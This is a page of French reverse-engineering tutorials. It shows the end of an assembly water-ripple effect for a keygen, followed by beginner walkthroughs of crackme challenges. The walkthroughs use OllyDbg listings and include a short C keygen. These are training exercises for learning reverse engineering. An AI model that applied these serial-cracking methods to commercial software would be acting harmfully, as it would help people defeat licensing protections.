        mov ecx,@dwPtrSource
        mov esi,[ebx].lpDIBitsSource
        mov edi,[ebx].lpDIBitsRender
        lea esi,[esi+ecx]
        lea edi,[edi+eax]
        .if ecx !=  eax
            or  @dwFlag,1   ;Èç¹ûŽæÔÚÔŽÏñËØºÍÄ¿±êÏñËØ²»Í¬£¬Ôò±íÊŸ»¹Ôڻ׎̬
            mov ecx,[ebx].dwDIByteWidth
            call    _WaveGetPixel
            call    _WaveGetPixel
            call    _WaveGetPixel
        .else
            cld
            movsw
            movsb
        .endif
        popad
;********************************************************************
; ŒÌÐøÑ­»·
;********************************************************************
_Continue:
        pop edx
        inc edx
        add edi,4       ; ÏñËØ++
        cmp edx,[ebx].dwBmpWidth
        jb  _Loop2

        inc ecx
        mov eax,[ebx].dwBmpHeight
        dec eax
        cmp ecx,eax
        jb  _Loop1
;********************************************************************
; œ«äÖÈŸµÄÏñËØÊýŸÝ¿œ±Žµœ hDc ÖÐ
;********************************************************************
        invoke  SetDIBits,[ebx].hDcRender,[ebx].hBmpRender,0,[ebx].dwBmpHeight,\
            [ebx].lpDIBitsRender,addr [ebx].stBmpInfo,DIB_RGB_COLORS
        .if ! @dwFlag
            and [ebx].dwFlag,not F_WO_ACTIVE
        .endif
_Ret:
;********************************************************************
        assume  ebx:nothing
        popad
        ret

_WaveRender endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveUpdateFrame    proc    _lpWaveObject,_hDc,_bIfForce

        pushad
        mov ebx,_lpWaveObject
        assume  ebx:ptr WAVE_OBJECT

        cmp _bIfForce,0
        jnz @F
        .if [ebx].dwFlag & F_WO_NEED_UPDATE
            @@:
            invoke  BitBlt,_hDc,0,0,[ebx].dwBmpWidth,[ebx].dwBmpHeight,\
                [ebx].hDcRender,0,0,SRCCOPY
            and [ebx].dwFlag,not F_WO_NEED_UPDATE
        .endif

        assume  ebx:nothing
        popad
        ret

_WaveUpdateFrame    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ÈÓÒ»¿éʯͷ
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveDropStone  proc    _lpWaveObject,_dwX,_dwY,_dwSize,_dwWeight
        local   @dwMaxX,@dwMaxY

        pushad
        mov ebx,_lpWaveObject
        assume  ebx:ptr WAVE_OBJECT
;********************************************************************
; ŒÆË㷶Χ
;********************************************************************
        mov edx,_dwSize
        shr edx,1

        mov eax,_dwX
        mov esi,_dwY

        mov ecx,eax
        mov edi,esi
        add eax,edx     ; x + size
        sub ecx,edx     ; x - size

        push    edx
        .if [ebx].dwFlag & F_WO_ELLIPSE
            shr edx,1
        .endif
        add esi,edx     ; y + size
        sub edi,edx     ; y - size
        pop edx

        shl edx,1
        .if ! edx
            inc edx
        .endif
        mov _dwSize,edx
;********************************************************************
; ÅжϷ¶Î§µÄºÏ·šÐÔ
;********************************************************************
        inc eax
        cmp eax,[ebx].dwBmpWidth
        jge _Ret
        cmp ecx,1
        jl  _Ret
        inc esi
        cmp esi,[ebx].dwBmpHeight
        jge _Ret
        cmp edi,1
        jl  _Ret

        dec eax
        dec esi
;********************************************************************
; œ«·¶Î§ÄڵĵãµÄÄÜÁ¿ÖÃΪ _dwWeight
;********************************************************************
        mov @dwMaxX,eax
        mov @dwMaxY,esi
        .while  ecx <=  @dwMaxX
            push    edi
            .while  edi <=  @dwMaxY
                mov eax,ecx
                sub eax,_dwX
                imul    eax
                push    eax
                mov eax,edi
                sub eax,_dwY
                imul    eax
                pop edx
                add eax,edx
                push    eax
                mov eax,_dwSize
                imul    eax
                pop edx
                .if edx <=  eax
                    mov eax,edi
                    mul [ebx].dwBmpWidth
                    add eax,ecx
                    shl eax,2
                    add eax,[ebx].lpWave1
                    push    _dwWeight
                    pop [eax]
                .endif
                inc edi
            .endw
            pop edi
            inc ecx
        .endw
        or  [ebx].dwFlag,F_WO_ACTIVE
;********************************************************************
_Ret:
        assume  ebx:nothing
        popad
        ret

_WaveDropStone  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ŒÆËãÀ©É¢ÊýŸÝ¡¢äÖȟλ͌¡¢žüÐÂŽ°¿Ú¡¢ŽŠÀíÌØÐ§µÄ¶šÊ±Æ÷¹ý³Ì
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveTimerProc  proc    _hWnd,_uMsg,_idEvent,_dwTime

        pushad
        mov ebx,_idEvent
        assume  ebx:ptr WAVE_OBJECT

        invoke  _WaveSpread,ebx
        invoke  _WaveRender,ebx
        .if [ebx].dwFlag & F_WO_NEED_UPDATE
            invoke  GetDC,[ebx].hWnd
            invoke  _WaveUpdateFrame,ebx,eax,FALSE
            invoke  ReleaseDC,[ebx].hWnd,eax
        .endif
;********************************************************************
; ÌØÐ§ŽŠÀí
;********************************************************************
        test    [ebx].dwFlag,F_WO_EFFECT
        jz  _Ret
        mov eax,[ebx].dwEffectType
;********************************************************************
; Type = 1 Óêµã£¬Param1£œËÙ¶È£š0×î¿ì£¬ÔœŽóÔœÂý£©£¬Param2£œÓêµãŽóС£¬Param3£œÄÜÁ¿
;********************************************************************
        .if eax ==  1
            mov eax,[ebx].dwEffectParam1
            or  eax,eax
            jz  @F
            invoke  _WaveRandom,ebx,eax
            .if ! eax
                @@:
                mov eax,[ebx].dwBmpWidth
                dec eax
                dec eax
                invoke  _WaveRandom,ebx,eax
                inc eax
                mov ecx,eax

                mov eax,[ebx].dwBmpHeight
                dec eax
                dec eax
                invoke  _WaveRandom,ebx,eax
                inc eax
                mov edx,eax

                invoke  _WaveRandom,ebx,[ebx].dwEffectParam2
                inc eax
                mov esi,eax
                invoke  _WaveRandom,ebx,[ebx].dwEffectParam3
                add eax,50
                invoke  _WaveDropStone,ebx,ecx,edx,esi,eax
            .endif
;********************************************************************
; Type = 2 ÐÐŽ¬£¬Param1£œËÙ¶È£š0×î¿ì£¬ÔœŽóÔœ¿ì£©£¬Param2£œŽóС£¬Param3£œÄÜÁ¿
;********************************************************************
        .elseif eax ==  2
            inc [ebx].dwEff2Flip
            test    [ebx].dwEff2Flip,1
            jnz _Ret

            mov ecx,[ebx].dwEff2X
            mov edx,[ebx].dwEff2Y
            add ecx,[ebx].dwEff2XAdd
            add edx,[ebx].dwEff2YAdd

            cmp ecx,1
            jge @F
            sub ecx,1
            neg ecx
            neg [ebx].dwEff2XAdd
            @@:
            cmp edx,1
            jge @F
            sub edx,1
            neg edx
            neg [ebx].dwEff2YAdd
            @@:
            mov eax,[ebx].dwBmpWidth
            dec eax
            cmp ecx,eax
            jl  @F
            sub ecx,eax
            xchg    eax,ecx
            sub ecx,eax
            neg [ebx].dwEff2XAdd
            @@:
            mov eax,[ebx].dwBmpHeight
            dec eax
            cmp edx,eax
            jl  @F
            sub edx,eax
            xchg    eax,edx
            sub edx,eax
            neg [ebx].dwEff2YAdd
            @@:
            mov [ebx].dwEff2X,ecx
            mov [ebx].dwEff2Y,edx
            invoke  _WaveDropStone,ebx,ecx,edx,[ebx].dwEffectParam2,[ebx].dwEffectParam3
;********************************************************************
; Type = 3 ²šÀË£¬Param1£œÃܶȣ¬Param2£œŽóС£¬Param3£œÄÜÁ¿
;********************************************************************
        .elseif eax ==  3
            xor edi,edi
            .while  edi <=  [ebx].dwEffectParam1
                mov eax,[ebx].dwBmpWidth
                dec eax
                dec eax
                invoke  _WaveRandom,ebx,eax
                inc eax
                mov ecx,eax

                mov eax,[ebx].dwBmpHeight
                dec eax
                dec eax
                invoke  _WaveRandom,ebx,eax
                inc eax
                mov edx,eax

                invoke  _WaveRandom,ebx,[ebx].dwEffectParam2
                inc eax
                mov esi,eax
                invoke  _WaveRandom,ebx,[ebx].dwEffectParam3
                invoke  _WaveDropStone,ebx,ecx,edx,esi,eax
                inc edi
            .endw
        .endif
_Ret:
        assume  ebx:nothing
        popad
        ret

_WaveTimerProc  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ÊͷŶÔÏó
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveFree   proc    _lpWaveObject

        pushad
        mov ebx,_lpWaveObject
        assume  ebx:ptr WAVE_OBJECT
;********************************************************************
        .if [ebx].hDcRender
            invoke  DeleteDC,[ebx].hDcRender
        .endif
        .if [ebx].hBmpRender
            invoke  DeleteObject,[ebx].hBmpRender
        .endif
        .if [ebx].lpDIBitsSource
            invoke  GlobalFree,[ebx].lpDIBitsSource
        .endif
        .if [ebx].lpDIBitsRender
            invoke  GlobalFree,[ebx].lpDIBitsRender
        .endif
        .if [ebx].lpWave1
            invoke  GlobalFree,[ebx].lpWave1
        .endif
        .if [ebx].lpWave2
            invoke  GlobalFree,[ebx].lpWave2
        .endif
        invoke  KillTimer,[ebx].hWnd,ebx
        invoke  RtlZeroMemory,ebx,sizeof WAVE_OBJECT
;********************************************************************
        assume  ebx:nothing
        popad
        ret

_WaveFree   endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ³õÊŒ»¯¶ÔÏó
; ²ÎÊý£º_lpWaveObject £œ ÖžÏò WAVE_OBJECTµÄÖžÕë
; ·µ»Ø£ºeax = 0 ³É¹Š¡¢= 1 ʧ°Ü
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveInit   proc    _lpWaveObject,_hWnd,_hBmp,_dwSpeed,_dwType
        local   @stBmp:BITMAP,@dwReturn

        pushad
        xor eax,eax
        mov @dwReturn,eax
        mov ebx,_lpWaveObject
        assume  ebx:ptr WAVE_OBJECT
        invoke  RtlZeroMemory,ebx,sizeof WAVE_OBJECT

        .if _dwType
            or  [ebx].dwFlag,F_WO_ELLIPSE
        .endif
;********************************************************************
; »ñȡλ͌³ßŽç
;********************************************************************
        push    _hWnd
        pop [ebx].hWnd
        invoke  GetTickCount
        mov [ebx].dwRandom,eax

        invoke  GetObject,_hBmp,sizeof BITMAP,addr @stBmp
        .if ! eax
            @@:
            inc @dwReturn
            jmp _Ret
        .endif
        mov eax,@stBmp.bmHeight
        mov [ebx].dwBmpHeight,eax
        cmp eax,3
        jle @B
        mov eax,@stBmp.bmWidth
        mov [ebx].dwBmpWidth,eax
        cmp eax,3
        jle @B

        push    eax
        shl eax,2
        mov [ebx].dwWaveByteWidth,eax
        pop eax
        lea eax,[eax+eax*2]
        add eax,3
        and eax,not 0011b
        mov [ebx].dwDIByteWidth,eax
;********************************************************************
; ŽŽœšÓÃÓÚäÖÈŸµÄλ͌
;********************************************************************
        invoke  GetDC,_hWnd
        mov esi,eax
        invoke  CreateCompatibleDC,esi
        mov [ebx].hDcRender,eax
        invoke  CreateCompatibleBitmap,esi,[ebx].dwBmpWidth,[ebx].dwBmpHeight
        mov [ebx].hBmpRender,eax
        invoke  SelectObject,[ebx].hDcRender,eax
;********************************************************************
; ·ÖÅ䲚ÄÜ»º³åÇø
;********************************************************************
        mov eax,[ebx].dwWaveByteWidth
        mul [ebx].dwBmpHeight
        mov edi,eax
        invoke  GlobalAlloc,GPTR,edi
        mov [ebx].lpWave1,eax
        invoke  GlobalAlloc,GPTR,edi
        mov [ebx].lpWave2,eax
;********************************************************************
; ·ÖÅäÏñËØ»º³åÇø
;********************************************************************
        mov eax,[ebx].dwDIByteWidth
        mul [ebx].dwBmpHeight
        mov edi,eax
        invoke  GlobalAlloc,GPTR,edi
        mov [ebx].lpDIBitsSource,eax
        invoke  GlobalAlloc,GPTR,edi
        mov [ebx].lpDIBitsRender,eax
;********************************************************************
; »ñȡԭʌÏñËØÊýŸÝ
;********************************************************************
        mov [ebx].stBmpInfo.bmiHeader.biSize,sizeof BITMAPINFOHEADER
        push    [ebx].dwBmpWidth
        pop [ebx].stBmpInfo.bmiHeader.biWidth
        mov eax,[ebx].dwBmpHeight
        neg eax
        mov [ebx].stBmpInfo.bmiHeader.biHeight,eax
        inc [ebx].stBmpInfo.bmiHeader.biPlanes
        mov [ebx].stBmpInfo.bmiHeader.biBitCount,24
        mov [ebx].stBmpInfo.bmiHeader.biCompression,BI_RGB
        mov [ebx].stBmpInfo.bmiHeader.biSizeImage,0

        invoke  CreateCompatibleDC,esi
        push    eax
        invoke  SelectObject,eax,_hBmp
        invoke  ReleaseDC,_hWnd,esi
        pop eax
        mov esi,eax

        invoke  GetDIBits,esi,_hBmp,0,[ebx].dwBmpHeight,[ebx].lpDIBitsSource,\
            addr [ebx].stBmpInfo,DIB_RGB_COLORS
        invoke  GetDIBits,esi,_hBmp,0,[ebx].dwBmpHeight,[ebx].lpDIBitsRender,\
            addr [ebx].stBmpInfo,DIB_RGB_COLORS
        invoke  DeleteDC,esi

        .if ![ebx].lpWave1 || ![ebx].lpWave2 || ![ebx].lpDIBitsSource ||\
            ![ebx].lpDIBitsRender || ![ebx].hDcRender
            invoke  _WaveFree,ebx
            inc @dwReturn
        .endif

        invoke  SetTimer,_hWnd,ebx,_dwSpeed,addr _WaveTimerProc

        or  [ebx].dwFlag,F_WO_ACTIVE or F_WO_NEED_UPDATE
        invoke  _WaveRender,ebx
        invoke  GetDC,[ebx].hWnd
        invoke  _WaveUpdateFrame,ebx,eax,TRUE
        invoke  ReleaseDC,[ebx].hWnd,eax
;********************************************************************
_Ret:
        assume  ebx:nothing
        popad
        mov eax,@dwReturn
        ret

_WaveInit   endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Ò»Ð©ÌØÐ§
; ÊäÈ룺_dwType = 0   ¹Ø±ÕÌØÐ§
;   _dwType <> 0    ¿ªÆôÌØÐ§£¬²ÎÊýŸßÌåŒûÉÏÃæ
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveEffect proc    uses ebx eax _lpWaveObject,\
            _dwType,_dwParam1,_dwParam2,_dwParam3
        local   @dwMaxX,@dwMaxY

        mov ebx,_lpWaveObject
        assume  ebx:ptr WAVE_OBJECT
;********************************************************************
        mov eax,_dwType
        .if eax ==  0
;********************************************************************
; ¹Ø±ÕÌØÐ§
;********************************************************************
            and [ebx].dwFlag,not F_WO_EFFECT
            mov [ebx].dwEffectType,eax
        .elseif eax ==  2
;********************************************************************
; ÐÐŽ¬ÌØÐ§
;********************************************************************
            mov eax,_dwParam1
            mov [ebx].dwEff2XAdd,eax
            mov [ebx].dwEff2YAdd,eax

            mov eax,[ebx].dwBmpWidth
            dec eax
            dec eax
            invoke  _WaveRandom,ebx,eax
            inc eax
            mov [ebx].dwEff2X,eax

            mov eax,[ebx].dwBmpHeight
            dec eax
            dec eax
            invoke  _WaveRandom,ebx,eax
            inc eax
            mov [ebx].dwEff2Y,eax

            jmp @F
        .else
;********************************************************************
; ĬÈÏ
;********************************************************************
            @@:
            push    _dwType
            pop [ebx].dwEffectType
            push    _dwParam1
            pop [ebx].dwEffectParam1
            push    _dwParam2
            pop [ebx].dwEffectParam2
            push    _dwParam3
            pop [ebx].dwEffectParam3
            or  [ebx].dwFlag,F_WO_EFFECT
        .endif
;********************************************************************
        assume  ebx:nothing
        ret

_WaveEffect endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
endif
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>




Voici un petit screen :




Pour download mon keygen : http://re-xe.com/wp-content/uploads/2010/12/keygen_with_water_effect.zip



Voilà tout, bon courage :)


Merci à toi Xylitol.

Publié dans Keygen | Laisser un commentaire

KeyGenMe for Newbies :: Progressive KeygenMe #1

Bonjour à tous!

Pour mon premier post sur Re-Xe, je vous propose un petit tuto qui vise surtout les débutants en RE.
Il s’agit ici d’exploiter un simple petit KeyGenMe, en l’analysant puis en codant rapidement un petit KeyGen.

Vous pouvez trouver le KeygenMe ici : http://re-xe.com/uploads/2011/04/progressive_keygenme_1.zip

Si on l’execute, on aperçoit une simple fenêtre, avec deux champs de texte: un pour le nom et un pour le serial, ainsi que deux boutons.
Essayons de rentrer des infos au hasard.

Pour ma part, j’ai testé avec ‘ryscrow’ comme nom, et ’123456789′ en serial. Appuyez sur Check, et normalement (sauf si vous avez une chance d’enfer et que vous avez réussi à trouver le serial correspondant au hasard du premier coup) la réponse ne tarde pas à tomber, avec une fenêtre qui s’ouvre indiquant: « Et non… Retente ta chance ».

Le but va donc être de trouver un serial correspondant au nom entré, et de réussir à trouver la routine pour le générer à partir de n’importe quel nom.

La première chose à vérifier, c’est que l’executable n’est pas packé ni crypté. Pour celà, un simple outil comme PEiD suffit.
On lance PEiD, on ajoute l’executable à tester, et PEiD nous informe que rien n’a été trouvé. (ce qui est normal pour un KeyGenMe destiné aux débutants…)

On va donc ici utiliser OllyDBG pour reverser notre programme.
Une fois lancé, OllyDBG nous place directement sur le point d’entrée du programme, à l’adresse 0×0401000.

Dans ce cas précis, le code désassemblé est suffisament clair pour qu’on puisse se passer de debug.
Les choses intéressantes commencent lors de l’appel à la fonction GetDlgItemTextA.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
0040106B   |.  83F8 05              CMP EAX,5
0040106E   |.  72 7E                JB SHORT 004010EE
00401070   |.  83F8 14              CMP EAX,14
00401073   |.  0F87 8C000000        JA 00401105
00401079   |.  89C1                 MOV ECX,EAX
0040107B   |.  8D35 00204000        LEA ESI,[402000]
00401081   |.  31DB                 XOR EBX,EBX
00401083   |&gt;  0FB606               /MOVZX EAX,BYTE PTR [ESI]
00401086   |.  01C3                 |ADD EBX,EAX
00401088   |.  46                   |INC ESI
00401089   |.^ E2 F8                \LOOPD SHORT 00401083
0040108B   |.  53                   PUSH EBX                     ; /&lt;%i&gt;
0040108C   |.  68 63204000          PUSH 00402063                ; |Format = "%i"
00401091   |.  68 42204000          PUSH 00402042                ; |s = progress.00402042
00401096   |.  FF15 C2304000        CALL [&lt;&amp;USER32.wsprintfA&gt;]   ; \wsprintfA
0040109C   |.  6A 20                PUSH 20                      ; /Count = 20 (32.)
0040109E   |.  68 21204000          PUSH 00402021                ; |Buffer = progress.00402021
004010A3   |.  6A 66                PUSH 66                      ; |ControlID = 66 (102.)
004010A5   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hWnd
004010A8   |.  FF15 BE304000        CALL [&lt;&amp;USER32.GetDlgItemTex&gt;; \GetDlgItemTextA
004010AE   |.  68 21204000          PUSH 00402021                ; /String2 = ""
004010B3   |.  68 42204000          PUSH 00402042                ; |String1 = ""
004010B8   |.  FF15 6A304000        CALL [&lt;&amp;KERNEL32.lstrcmp&gt;]   ; \lstrcmpA
004010BE   |.  75 17                JNZ SHORT 004010D7
004010C0   |.  6A 00                PUSH 0                       ; /Style = MB_OK|MB_APPLMODAL
004010C2   |.  68 66204000          PUSH 00402066                ; |Title = "Progressive KeygenMe #1"
004010C7   |.  68 7E204000          PUSH 0040207E                ; |Text = "Bravooo !!!",LF,CR,"Maintenant code un keygen et si t'es",LF,CR,"motiv",E9," un tutorial est le bienvenu."
004010CC   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hOwner
004010CF   |.  FF15 C6304000        CALL [&lt;&amp;USER32.MessageBoxA&gt;] ; \MessageBoxA
004010D5   |.  EB 67                JMP SHORT 0040113E
004010D7   |&gt;  6A 00                PUSH 0                       ; /Style = MB_OK|MB_APPLMODAL
004010D9   |.  68 66204000          PUSH 00402066                ; |Title = "Progressive KeygenMe #1"
004010DE   |.  68 D5204000          PUSH 004020D5                ; |Text = "Et non...",LF,CR,"Retente ta chance"
004010E3   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hOwner
004010E6   |.  FF15 C6304000        CALL [&lt;&amp;USER32.MessageBoxA&gt;] ; \MessageBoxA
004010EC   |.  EB 50                JMP SHORT 0040113E
004010EE   |&gt;  6A 00                PUSH 0                       ; /Style = MB_OK|MB_APPLMODAL
004010F0   |.  68 66204000          PUSH 00402066                ; |Title = "Progressive KeygenMe #1"
004010F5   |.  68 21214000          PUSH 00402121                ; |Text = "Le nom doit faire au moins 5 caract",E8,"res"
004010FA   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hOwner
004010FD   |.  FF15 C6304000        CALL [&lt;&amp;USER32.MessageBoxA&gt;] ; \MessageBoxA
00401103   |.  EB 39                JMP SHORT 0040113E
00401105   |&gt;  6A 00                PUSH 0                       ; /Style = MB_OK|MB_APPLMODAL
00401107   |.  68 66204000          PUSH 00402066                ; |Title = "Progressive KeygenMe #1"
0040110C   |.  68 F2204000          PUSH 004020F2                ; |Text = "Le nom ne doit pas faire plus de 20 caract",E8,"res"
00401111   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hOwner
00401114   |.  FF15 C6304000        CALL [&lt;&amp;USER32.MessageBoxA&gt;] ; \MessageBoxA
0040111A   |.  EB 22                JMP SHORT 0040113E
0040111C   |&gt;  6A 40                PUSH 40                      ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
0040111E   |.  68 49214000          PUSH 00402149                ; |Title = "About"
00401123   |.  68 4F214000          PUSH 0040214F                ; |Text = "Progressive KeygenMe #1",LF,CR,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,&gt;
00401128   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hOwner
0040112B   |.  FF15 C6304000        CALL [&lt;&amp;USER32.MessageBoxA&gt;] ; \MessageBoxA

En analysant un peu, on se rend compte que le gros de l’algorithme de génération du serial tient en 11 lignes de code:

1
2
3
4
5
6
7
8
9
10
11
0040106B   |.  83F8 05              CMP EAX,5
0040106E   |.  72 7E                JB SHORT 004010EE
00401070   |.  83F8 14              CMP EAX,14
00401073   |.  0F87 8C000000        JA 00401105
00401079   |.  89C1                 MOV ECX,EAX
0040107B   |.  8D35 00204000        LEA ESI,[402000]
00401081   |.  31DB                 XOR EBX,EBX
00401083   |&gt;  0FB606               /MOVZX EAX,BYTE PTR [ESI]
00401086   |.  01C3                 |ADD EBX,EAX
00401088   |.  46                   |INC ESI
00401089   |.^ E2 F8                \LOOPD SHORT 00401083

Les 4 premières lignes contrôlent le nombre de caractères du « Name », nombre stocké dans le registre EAX.
Si EAX < 5 (donc 5 en décimal), on saute vers l’instruction qui affiche un message d’erreur. Si EAX > 14 (donc 20 en décimal), on saute vers l’instruction qui affiche un autre message d’erreur.

La 5ème instruction place le contenue du registre EAX dans ECX.

La 6ème place dans ESI un pointeur vers l’adresse où est stocké « Name » (402000)

La 7ème instruction remet à 0 le registre EBX.

Les 4 dernières instructions forment une boucle qui pourrait se traduire ligne par ligne par:

Placer l'octet vers lequel pointe ESI dans EAX (implicitement: Tant que celà est possible, la boucle se termine à la fin de la chaine de caractères.)
     EBX = EBX + EAX // Ajouter à EBX la valeur de EBX
     Incrémenter i
Retourner au début

La suite du code se contente de comparer la valeur obtenue par traitement du Name avec le sérial donné, et de nous rediriger en fonction du résultat de cette comparaison.

Donc après réflexion, l’algo n’est pas si compliqué que ça: il se contente d’additioner les valeurs décimales de chaque caractères du « Name ».

Voici un petit KeyGen que j’ai codé en C:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>

int main()
{
char name[20];
printf("Name: ");
scanf("%s", name);

int somme = 0;
int i = 0;

while(name[i] != '\0')
{
somme = somme + name[i];
i++;
}

printf("Le Serial est: %d", somme);
system("PAUSE");
return 0;
}

Et voici l’utilisation :



Et donc :



Et voilà, cet article est fini :D J’espère qu’il vous aura aidé.

Si vous avez la moindre question, n’hésitez pas à poster des commentaires !

Publié dans Keygen | 2 commentaires

Keygenning 4 newbies CrackMe ~ coded by The Analyst

Je m’attaque dans cet article à un CrackMe de niveau fastidieux « for newbies ».

Pour download le KeygenMe : http://re-xe.com/wp-content/uploads/2010/11/The_Analyst_k4n1.zip

On ne perd pas de temps, on y va, on lance le binaire.

On obtient la chose suivante :

On analyse ensuite le binaire à coup de PEiD, ça m’étonnerait qu’on l’ai packé, étant donné qu’il est d’un niveau relativement facile.
On obtient la chose suivante :

Parfait, pas de packer en vue. Mais peut-être qu’on aura le droit à de la jolie crypto ? On utilise le plugin Kanal de PEiD, voici ce que l’on obtient :

Super, pas de crypto en vue ! On peut maintenant passer à l’analyse du binaire !

On tente un name & un serial au hasard :

W00t, This serial is *NOT* valid!

Allez op ! On ouvre notre binaire depuis Ollydbg.

Une fois votre binaire ouvert, tentez de checker les BadBoy & GoodBoy. Pour ce faire, nous allons lister les strings.

Cliquez droit dans ollydbg, puis allez dans ‘Ultra String Reference’ –> ’1 Find Ascii’. On obtient ceci :


On aperçoit notre GoodBoy, et notre BadBoy :

Goob Boy : ‘Congratulation! IF this number comes *FROM YOUR* keygen …’
Bad Boy : ‘This serial is *NOT* Valid!! Try again… : UNREGISTRED’
On aperçoit aussi : %1X, ceci sert à formater notre string entrée.


Double cliquez sur le GoodBoy, ce qui vous renverra à son adresse (00401157) dans Ollydbg.
On obtient le code ci-dessous :

1
2
3
4
5
6
7
8
9
00401157   |.>PUSH 0040B43C                                                   ; /Text = « Congratulations! IF this number comes *FROM YOUR* keygen, Write a tutorial dude  . »
0040115C   |.>PUSH ESI                                                        ; |hWnd
0040115D   |.>CALL <JMP.&USER32.SetWindowTextA>; \SetWindowTextA              // G00d Boy
00401162   |.>JMP SHORT 0040117C00401164   |>>PUSH 0040B490                   ; /Text = « This serial is *NOT* Valid!! Try again… : UNREGISTERED »
00401169   |.>PUSH ESI                                                        ; |hWnd
0040116A   |.>CALL <JMP.&USER32.SetWindowTextA>; \SetWindowTextA              // Bad Boy
0040116F   |.>JMP SHORT 0040117C00401171   |>>PUSH 0040B4C9                   ; /Text = « Name must contain more than 4 chars and less than 50 chars !! »
00401176   |.>PUSH ESI                                                        ; |hWnd
00401177   |.>CALL <JMP.&USER32.SetWindowTextA>; \SetWindowTextA              // Bad Boy



Très bien.


On s’intéresse ensuite à cette ligne (située juste au dessus) :

1
004010AE  |.  E8 FB9B0000   CALL &lt;JMP.&USER32.GetWindowTextA&gt;        ; \GetWindowTextA


Ici GetWindowtext sert à récupérer les valeurs du champ name.


Ensuite, nous avons :

1
2
3
4
5
00401129   |.  FF75 C8              PUSH DWORD PTR [EBP-38]             ; /Arg3
0040112C   |.  68 38B44000          PUSH 0040B438                       ; |%lX
00401131   |.  8D8D 80FEFFFF        LEA ECX,[EBP-180]                   ; |
00401137   |.  51                   PUSH ECX                            ; |Arg1
00401138   |.  E8 873D0000          CALL 00404EC4                       ; \k4n.00404EC4


Ceci ressemble fortement à une fonction qui va formater notre string. Ce qui nous l’indique c’est le ‘ASCII « %lX »‘.


On descend encore un peu et on tombe sur :

1
0040114E  |.  E8 339C0000   CALL <JMP.&amp;KERNEL32.lstrcmpA>            ; \lstrcmpA


lstrcmp s’occupe de comparer les chaines entrées juste avant d’afficher le BadBoy ou GoodBoy. On peut facilement en déduire que la routine de génération du serial est dans le coin ! Yes on s’en rapproche …
Le fait que’on ai une boucle juste avant, et que le résultat de celle-ci soit passé en argument à la fonction de formatage indique qu’on est tout proche de la routine !


On remonte un peu plus haut, et on trouve :

1
2
00401102  |.  837D D8 32    CMP DWORD PTR SS:[EBP-28],32
00401106  |.  7D 69         JGE SHORT k4n.00401171


Ici le programme vérifie la taille du name entré : si il est supérieur ou égal à 50d. (c’est à dire 50 chars). Si on entre un name supérieur à 50 chars, le programme nous enverra directement vers un BadBoy.
Vous pouvez en avoir le cœur net maintenant ! On est sûr et certain que la routine est située entre les vérifications de la taille de la string entrée en name et son formatage. C’est à dire de :

1
0040110C   |> /0FBE840D 48FFFFFF    /MOVSX EAX,BYTE PTR [EBP+ECX-B8]


À :

1
00401124   |.  03C3                 ADD EAX,EBX




On ne prendra pas :

1
00401126   |.  8945 C8              MOV [EBP-38],EAX


Car cette ligne ne fait que sauvegarder eax dans la pile. La valeur de eax ne changera donc plus.


La routine correspond donc à ceci (lignes grisées) :


On se procure cette routinz & on code notre keygen !!
Quelques commentaires à propos de la routine :

1
2
3
4
5
6
7
8
9
MOV AL,BYTE PTR [ecx+NameBuffer]       ; Met dans AL chaque char du name un par un à chaque fois que ça boucle ( car ECX est incrémenté ligne suivante ).
INC ECX                                ; Incrémentation de ECX pour le définir comme compteur de chars contenus dans le name.
XOR EAX,ECX                            
ADD EBX,EAX                            ; Additionne eax à ebx. eax contenant les chars du name.
CMP ECX,DWORD PTR [LenName]            ; Compare le nombre de chars du compteur au nombre de chars du name.
